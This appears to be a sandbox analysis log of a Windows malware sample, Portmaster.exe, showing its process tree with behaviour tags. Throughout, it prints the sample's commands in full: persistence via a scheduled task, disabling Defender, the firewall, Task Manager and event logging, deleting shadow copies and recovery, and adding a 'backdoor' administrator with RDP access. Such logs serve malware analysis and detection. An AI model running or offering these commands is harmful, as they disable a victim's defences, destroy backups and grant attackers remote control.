C:\Users\Admin\AppData\Local\Temp\Portmaster.exeC:\Users\Admin\AppData\Local\Temp\Portmaster.exe1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add2⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add2⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2928 -s 6723⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 17365⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled4⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled5⤵
- Launches sc.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
-
-
